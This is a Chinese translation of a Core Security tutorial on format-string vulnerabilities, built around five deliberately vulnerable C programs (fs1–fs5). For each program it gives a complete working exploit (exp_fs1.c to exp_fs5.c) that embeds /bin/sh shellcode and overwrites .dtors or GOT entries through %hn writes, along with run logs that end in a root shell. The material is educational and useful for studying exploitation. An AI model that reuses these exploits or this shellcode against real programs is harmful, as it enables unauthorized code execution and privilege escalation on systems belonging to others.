【分析】非安全编程演示之格式化字符串篇version1.1

非安全编程演示之格式化字符串篇version1.1


创建时间:2003-03-07
文章属性:翻译
文章来源: http://www.ph4nt0m.net/doc/core_format.htm
文章提交: Ph4nt0m (axis_at_ph4nt0m.net)

Title:非安全编程演示之格式化字符串篇version1.1

翻译+整理:刺(ph4nt0m)
来源 http://www.ph4nt0m.net(幻影旅团)
中文html版: http://www.ph4nt0m.net/doc/core_format.htm

Version:1.1
Updated:December 20,2002

原文地址 http://www.core-sec.com/examples/core_format_strings.pdf
版权:Core Security Team http://www.core-sec.com


目录:
       简介
       Fs1.c分析
       Fs2.c分析
       Fs3.c分析
       Fs4.c分析
       Fs5.c分析
       结论
       参考


译者注:
          本文由Core Security发布,通过gera的Insecure Programming中的5个例子说明格式化
字符串漏洞。alert7前辈曾经由这5个例子写了《非安全编程演示之格式化字符串篇》,所
以我也就使用了同样的名字。翻译中的错误之处还请各位高手斧正。


简介
      
       在这篇文章中,Core Security将展示c语言程序中程序员常犯的一些错误。通过gera举的
5个例子来说明format string(格式化字符串)这类型的问题。我们将确切指出程序中的bug,
并将阐述这种错误为什么是危险的,并针对每一个例子都将有一个exploit。在这篇文章中,
测试的平台是 Linux Slackware 8.0 server(IA32),编译器是 GNU GCC 2.95.3:
        
        user@CoreLabs:~$ uname -a
        Linux CoreLabs 2.4.5 #31 SMP Sat Mar 2 03:04:23 EET 2002 i586 unknown
        
        user@CoreLabs:~$ gcc -v
        Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/2.95.3/specs
        gcc version 2.95.3 20010315 (release)
        
        user@CoreLabs:~$ cat /proc/cpuinfo
        processor : 0
        vendor_id : GenuineIntel
        cpu family : 5
        model : 2
        model name : Pentium 75 - 200
      
        user@CoreLabs:~$


        我们假设读者有c编程经验,并且有stack overflow,format string,GOT等的基础知识。在
本文中将不再一一赘述这些溢出的原理。如果不熟悉,请阅读文末的参考里的文章。


        这篇文章以后的更新版本里也许会包括其他平台上的format string信息,大家可以在
www.core-sec.com下载到最新版本。


        有任何问题,请联系:info@core-sec.com


fs1.c分析
        
        这个例子的代码如下
/* fs1.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Don't forget, *
* more is less, *
* here's a proof */


int main(int argv,char **argc) {
        short int zero=0;
        int *plen=(int*)malloc(sizeof(int));
        char buf[256];


// The next line is added by Core Security to ease exploitation.
        printf("%p/n", &zero);


        strcpy(buf,argc[1]);
        printf("%s%hn/n",buf,plen);
        while(zero);
}


        这个例子没有离奇的地方。下面是printf()的man page中所说:
        
        n              The number of characters written so far is stored into the
        integer indicated by the int * (or variant) pointer argument. No
        argument is converted.
      
        h              A following integer conversion corresponds to a short int or
        unsigned short int argument, or a following n conversion corresponds
        to a pointer to a short int argument.
      (译者注:%n在格式化中的意思是将显示内容的长度输出到一个变量中去。%h的意思
是把后面对应的内容转换为short int型)


        如果攻击者提供260 bytes长的参数,最后四个字节将覆盖指针*plen。当接下来执行
printf()时,将会在*plen(这个值由攻击者控制)所指向的内存中写入一些字符。然而,
由于format string中的h,攻击者将只能写两个字节(short write---由于h的转换)到这个内存
地址。如果提供的参数大于260字节,那么将会覆盖zero,这个例子的程序将进入死循环。


                |_________________________ |
                |   shellcode   addr       |/
                |    shellcode   addr      |  /
                                               65276 bytes
                |    shellcode   addr      |  /
                |    shellcode   addr      |/
                | -------------------------|/
                |    zero   address        |    4 bytes
                | ------------------------ |/
                |    AAAAAAAA              |/
                |                          |  256 bytes
                |    AAAAAAAA              |/
                | ------------------------ |
                |                          |


        溢出是可能的,但是并不容易。攻击者可能采用传统的攻击流程,覆盖程序在栈上的
返回地址。这里只有一个障碍---死循环(endless loop)。argc[1]需要精心构造,另外有针对
zero的检查,如果为NULL字节,程序将正常退出(这样就执行了shellcode)(译者注:绕过
了死循环,因为zero为0,while循环结束)。这可以通过%hn的格式参数来完成。zero是两个
字节长,包含了两个NULL字节的较小的数是0x10000(65536的16进制)。所以,如果argc[1]
是65536bytes长,*plen指向了zero的地址的话,死循环将被绕过。argc[1]的前256个字节为垃
圾(译者注:用于填充buffer),4字节为zero的地址,接下来65276字节填充shellcode地址。
          
        这个例子中真正的障碍是在栈中找出zero的地址。这就是我们在例子中额外加一行
print出zero的地址的原因。Exploit代码如下:


/*
** exp_fs1.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


/* May need some tweaking */
#define ZERO_ADDRESS 0xbffefeca


/* 24 bytes shellcode */
char shellcode[]=
        "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
        "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main(void) {


        char *env[3] = {shellcode, NULL};
        char evil_buffer[65536 + 1] ;
        char *p;
        int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs1");
        int i;


        printf("Shellcode address: 0x%x/n", ret);


        /* Constructing the buffer */
        p = evil_buffer;


        memset(p, 'A', 256);
        p += 256;


        *((void **)p) = (void *) (ZERO_ADDRESS);
        p += 4;


        /* 16319 x 4 = 65276 */
        for(i = 0; i < 16319; i++) {
                *((void **)p) = (void *) (ret);
                                p += 4;
        }


        *p = '/0';


        execle("/home/user/gera/fs1", "fs1", evil_buffer, NULL, env);
}


fs2.c分析
        
        这个例子的代码如下:


/* fs2.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
        char buf[256];


        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}


        程序员在这里谨慎的使用了“安全的”函数snprintf()防止溢出。然而,他在两个调用中都
使用了%hn参数。如果攻击者构造特殊的缓冲区,并把格式化字符传递过去,那么将会造成
溢出。注意到snprintf()的格式化参数--“%s%c%hn”的地址都是从argc[1](argc[2]对应第二个
snprintf())。这是程序中的另一个错误。
        
        第一个格式化参数是%s--它要求一个指针为string。snprintf()函数在内存中处理argc[1]的
地址,直到遇到一个null的字符('/0')结束。第二个参数是%c---对应一个整型。比如说如果
argc[1]的地址是0xb f f f f 764,snprintf()将把字符等效为最小有效字(least significant byte)处理
(用可理解的形式来说就是)--‘d’(d=0x64)。第三个参数也是%c,作用和前一个参数同。第
四个参数将写出到目前为止snprintf()所打印的字符的个数。%hn将一个指针保存为整型。它
将把argc[1]里的头四个字节写入(所有字节数)这四个字节所指向的地址(例如,如果argc[1]
像这样“/xbb/xaa/xff/xbf/x41/x41/x41/x41/x43/x44”,那么将写入地址0xbfffaabb
)。如果argc[1]有600bytes长,那么写入0xbfffaabb的值将是602(600来自%s,1个来自%c,另
一个来自第二个%c)。记住%hn是一个short write(一次写2 bytes),攻击者只好把他想覆盖
为shellcode的地址的地址分为两部分来写
        
         攻击者向这个例子所传递的字符串,将首先包含4 bytes(可能为一个GOT entry的地址)
然后是一些垃圾。字符串的长度控制了写入GOT entry地址的值。下面是一个可能的exploit(
通过覆盖heap的.dtors地址):


/*
** exp_fs2.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>
#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs2"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main(void) {
    
        char *env[3] = {shellcode, NULL};
        unsigned int first_half, second_half;
        char evil_buffer_1[65500], evil_buffer_2[65500], temp_buffer[64];
        char *p;
        int dtors;
        int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs2");
        FILE *f;


        printf("Shellcode address: 0x%x/n", ret);


        /* Splitting shellcode address in two */
        first_half = (ret & 0xffff0000) >> 16;
        printf("/nShellcode address - first half : 0x%x, %u/n", first_half,
first_half);


        second_half = ret & 0x0000ffff;
        printf("Shellcode address - second half: 0x%x, %u/n", second_half,
second_half);


        sprintf(temp_buffer, "%s -t %s | %s dtors", OBJDUMP, VICTIM, GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%x", &dtors) != 1) {
                pclose(f);
                printf("Error: Cannot find .dtors address!/n");
                exit(1);
        }
        
        dtors += 4;
        printf(".dtors address is: 0x%x/n/n", dtors);


        /* First buffer writes first half of shellcode address*/
  
        p = evil_buffer_1;


        *((void **)p) = (void *) (dtors + 2);
        p += 4;


        /* 4 for .dtors addres and 2 for %c%c */
        memset(p, 'A', (first_half - 4 - 2));
        p += (first_half - 4 - 2);


        *p = '/0';


        /* Second buffer writes second half of shellcode address*/


        p = evil_buffer_2;


        *((void **)p) = (void *) (dtors);
        p += 4;


        /* 4 for .dtors addres and 2 for %c%c */
        memset(p, 'B', (second_half - 4 - 2));
        p += (second_half - 4 - 2);


        *p = '/0';


        execle("/home/user/gera/fs2", "fs2", evil_buffer_1, evil_buffer_2,
NULL, env);
}


         运行如下:


user@CoreLabs:~/gera$ gcc fs2.c -o fs2
user@CoreLabs:~/gera$ gcc exp_fs2.c -o exp_fs2
user@CoreLabs:~/gera$ ./exp_fs2


Shellcode address: 0xbfffffcd
Shellcode address - first half : 0xbfff, 49151
Shellcode address - second half: 0xffcd, 65485
.dtors address is: 0x8049590


sh-2.05# exit
exit
user@CoreLabs:~/gera$


       下面是例子溢出时heap memory的情况:


        / |                      |           |                         |           |                       |
     GOT  |                      |           |                         |           |                       |
        / |______________________|           |_________________________|           |_______________________|  
        / |   0x00000000         |           |     0xb f f f 0000      |           |    0xb f f f f f c d  |
  .dtors  |----------------------|           |-------------------------|           |-----------------------|
        / |   0xf f f f f f f f  |           |     0xf f f f f f f f   |           |    0xf f f f f f f f  |
          |----------------------|           |-------------------------|           |-----------------------|
        / |   0x00000000         |           |     0x00000000          |           |    0x00000000         |
  .ctors  |----------------------|           |-------------------------|           |-----------------------|
       /  |   0xf f f f f f f f  |           |     0xf f f f f f f f   |           |     0xf f f f f f f f |
          |----------------------|           |-------------------------|           |-----------------------|
          |                      |           |                         |           |                       |
                    
          Before first snprintf()              After first snprintf()                After second snprintf()


fs3.c分析


        例子的源代码如下:


/* fs3.c *
* specially crafted to feed your brain by riq@core-sdi.com */


/* Not enough resources? */


int main(int argv,char **argc) {
        char buf[256];


        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}


       看起来与fs2.c非常相像。不同之处在于,攻击者只能在内存中写入两个字节,不足
一个确切内存地址(在32位 IA上需要4字节)。如果攻击者够聪明的话,他将在适当的地址
覆盖两字节(比如,shellcode的地址在0xb f f f f f b a,某个返回地址是 0x b f f f a b c d,那么
他将仅仅用ffba去覆盖abcd)。这是攻击者要覆盖的。这里有一些可能性。首先fs3的返回地址
(在栈上--0xb f f f x x x x确定)将因为不同的环境变量压栈而变的难于猜测。其次snprintf()
的返回地址(同样在栈上--0xb f f f x x x x确定)也很难猜测。
        
         heap上的地址可以确定(可以从bin文件得到)。第三种方法就是覆盖.dtors的地址。
然后这并不会起很大的作用。看看fs2.c的那个图就知道。0x00000000的地址经过覆盖后,变
成了0x0000f f b a或0xb f f f0000之一---在这里完全没有用。那么现在剩下的唯一可能的方法
就是覆盖GOT中的__deregister_frame_info()的地址:


user@CoreLabs:~/gera$ objdump -R ./fs3


./fs3: file format elf32-i386


DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495cc R_386_GLOB_DAT __gmon_start__
080495bc R_386_JUMP_SLOT __register_frame_info
080495c0 R_386_JUMP_SLOT __deregister_frame_info
080495c4 R_386_JUMP_SLOT __libc_start_main
080495c8 R_386_JUMP_SLOT snprintf


user@CoreLabs:~/gera$


          这种覆盖__deregister_frame_info()地址的技术是Core Security Team首次发现和公布的。
一般来说,这是一个在所有GCC的动态连接可执行程序中存在的函数。它在一个函数结束时
--通过调用exit(),return()之类的函数--被调用。覆盖它的地址与覆盖GOT内任何函数地址的效果
是一样的。然而,在这里例子中在GOT里没有合适的函数。
          
           溢出这个例子的唯一途径就是用0xb f f f覆盖__deregister_frame_info()的两个最高有效字,
同时把shellcode保存在stack里面(shellcode前面放一堆NOP)。从上面objdump的输出来看
,__deregister_frame_info()的地址为0x080495c0。覆盖后,将变为0xb f f f 95c0。shellcode的地址
就在这附近----通过NOP在增大落在shellcode范围的几率。


          为了覆盖成功,argc[1]必须为49151 - 2 = 49149 字节长,包括了shellcode和
__deregister_frame_info()的地址。argc[1]会被放入内存(栈)中,比如从0xb f f f f a d7到
0xb f f f 3a d 7。这里唯一可能存在的问题就是如果__deregister_frame_info()的两个最低有效字
大于0xf a d 7或小于0x3 a d 7(这样就不会落在NOP里)。根据统计学来看,这种情况的概率
是25%,但是实际情况中(由于考虑到linux的内存分配)将小于1%(译者注:就是说成功率会
比较高)。


                      |                         |
                      |-------------------------|  <-----0xb f f f f a d 7
                      |          shellcode      |
                      |-------------------------|
                      |             NOP         |
                      |             NOP         |
                      |             NOP         |  > 0xb f f f 95c0
                      |             NOP         |
                      |             NOP         |
                      |-------------------------|
                      | deregister  address     |
                      |-------------------------|  <-----0xb f f f 3a d7
                      |                         |                  


              
            演示exploit:
    
/*
** exp_fs3.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs3"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";
int main(void) {


        char evil_buffer[49149 + 1], temp_buffer[64];
        char *p;
        int deregister_address;
        FILE *f;


        sprintf(temp_buffer, "%s -R %s | %s deregister", OBJDUMP, VICTIM,
GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%x", &deregister_address) != 1) {
                pclose(f);
                printf("Error: Cannot find deregister address in GOT!/n");
                exit(1);
        }


        printf("deregister address is: 0x%x/n", deregister_address);


        /* Evil buffer */
        
        p = evil_buffer;


        *((void **)p) = (void *) (deregister_address + 2);
        p += 4;


        /* Adding the NOPs */
        memset(p, '/x90', (sizeof(evil_buffer) - strlen(shellcode) - 4 -
1));
        p += (sizeof(evil_buffer) - strlen(shellcode) - 4 - 1);


        /* Adding shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);
        *p = '/0';


        execl("/user/home/gera/fs3", "fs3", evil_buffer, NULL);
}


fs4.c分析


              这个例子的源代码如下:


/* fs4.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Have you ever heard about code reusability? */


int main(int argv,char **argc) {
        char buf[256];


        snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
        printf(buf);
}


       溢出的方法与fs3.c大致相同。这里微小的变化就是这里多了一个格式化参数--“6$”。
这意味着%hn将覆盖第六个参数所指向的地址。为了成功溢出,argc[1]的前8个字节要填充
垃圾(原因留给读者思考)。另一个变动就是exploit里用的不是__deregister_frame_info()的
地址而是printf()的地址(这里没有什么影响):


/*
** exp_fs4.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs4"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main(void) {


        char evil_buffer[49151 + 1], temp_buffer[64];
        char *p;
        int printf_address;
        FILE *f;


        sprintf(temp_buffer, "%s -R %s | %s printf", OBJDUMP, VICTIM,
GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%x", &printf_address) != 1) {
                pclose(f);
                printf("Error: Cannot find printf() address in GOT!/n");
                exit(1);
        }


        printf("printf() address in GOT is: 0x%x/n", printf_address);


        /* Evil buffer */


        p = evil_buffer;


        /* Some junk here */
        memset(p, 'B', 8);
        p += 8;


        *((void **)p) = (void *) (printf_address + 2);
        p += 4;


        /* Adding NOPs. 12 = 8(for junk) + 4(for address) */
        memset(p, '/x90', (sizeof(evil_buffer) - strlen(shellcode) - 12 -
1));
        p += (sizeof(evil_buffer) - strlen(shellcode) - 12 - 1);


        /* Adding shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);
        *p = '/0';


        execl("/home/user/gera/fs4", "fs4", evil_buffer, NULL);
}


fs5.c分析


               本例源代码如下:


/* fs5.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* go, go, go! */
int main(int argv,char **argc) {
        char buf[256];
        snprintf(buf,sizeof buf,argc[1]);


                      /* this line'll make your life easier */
        printf("%s/n",buf);
}


         最后,让我们来看一个经典的format string漏洞。不需要太多的解释,这个溢出非常
的典型,如果你有任何问题请阅读scut的精彩论述(译者注:最新版本为《format string -1.2》
)。这里将自动精确定位--仅仅出于教育目的。这是最后一行(printf("%s/n",buf);)注释的原因。
(译者注:为了方便自动精确定位??请参看alert7的关于自动精确定位的文章)


user@CoreLabs:~/gera$ ./exp_fs5


Reading stack frames...
frame 01 --> 40016478
frame 02 --> 00000001
frame 03 --> bffff8f8
frame 04 --> 41414141


Exact match found. Stack pop is: 4


_deregister address in GOT is: 0x080495ac
shellcode address in stack is: 0xbfffffcd


??0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000
sh-2.05# exit
exit
user@CoreLabs:~/gera$


           演示exploit如下:


/*
** exp_fs5.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs5"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main() {
        char evil_buffer[256], temp_buffer[256];
        char *env[3] = {shellcode, NULL};
        char *p;
        int deregister_address, first_half, second_half, i;
        FILE *f;
        int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs5");


        bzero(evil_buffer, sizeof(evil_buffer));
        sprintf(evil_buffer, "%s AAAA", VICTIM);


        /* Finding stack pop */
        printf("/nReading stack frames.../n");
        for(i = 0; i < 30; i ++) {
                strcat(evil_buffer, "%08x");


                f = popen(evil_buffer, "r");
                fscanf(f, "%s", temp_buffer);


                p = temp_buffer + (4 + i*8);
                printf("frame %.2d --> %s/n", (i + 1), p);


                if(!strcmp(p, "41414141")) {
                       printf("/nExact match found. Stack pop is:
%d/n/n", i + 1);
                       pclose(f);
                       break;
                }
              
                pclose(f);
                bzero(temp_buffer, sizeof(temp_buffer));
        }


        if(i == 30) {
                printf("Can't find our format string in stack./n");
                printf("Some padding may be needed. Aborting.../n");
                exit(1);
        }


        sprintf(temp_buffer, "%s -R %s | %s deregister", OBJDUMP, VICTIM,
GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%08x", &deregister_address) != 1) {
                pclose(f);
                
                printf("Error: Cannot find deregister address in GOT!/n");
                exit(1);
        }
        pclose(f);


        printf("_deregister address in GOT is: 0x%08x/n",
deregister_address);
        printf("shellcode address in stack is: 0x%08x/n/n", ret);


        first_half = (ret & 0xffff0000) >> 16;
        second_half= (ret & 0x0000ffff);


        /* Evil buffer construction */
        p = evil_buffer;
        bzero(p, sizeof(evil_buffer));


        /* first_half*/
        *((void **)p) = (void *) (deregister_address + 2);
        p += 4;


        /* second_half */
        *((void **)p) = (void *) (deregister_address);
        p += 4;


        sprintf(p, "%%.%ud%%%d$hn""%%.%ud%%%d$hn", first_half - 8, i + 1,
second_half - first_half, i + 2);
        execle("/home/user/gera/fs5", "fs5", evil_buffer, NULL, env);
}


结论


           Format strings 漏洞比较容易发现(相对而言缓冲区溢出有时候比较难发现,即便很仔细
的检查了源代码)。自动检测工具检测代码中存在的漏洞通常是有用的。那么,为什么
format strings漏洞被认为具有很大的威胁呢?原因在于它被引起重视的时间比较晚---直到2000
。由于程序员一时偷懒,在很多旧的守护进程和应用程序中存在大量的format string bug。
格式化字符串漏洞在将来不可避免的将带来很多安全问题。


参考


1. Gera, “Insecure Programming by Example”
http://community.core-sdi.com/~gera/InsecureProgramming/


2. scut, “Exploiting Format String Vulnerabilities”
http://www.team-teso.net/releases/formatstring-1.2.tar.gz


3. Aleph One, “Smashing The Stack For Fun and Profit”
http://www.phrack.com/phrack/49/P49-14


4. Linux Programmer's Manual, snprintf() function
http://www.die.net/doc/linux/man/man3/snprintf.3.html


5. Core Security Team, “Vulnerabilities in your code – Advanced Buffer Overflows”
http://www.core-sec.com/examples/core_vulnerabilities.pdf
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值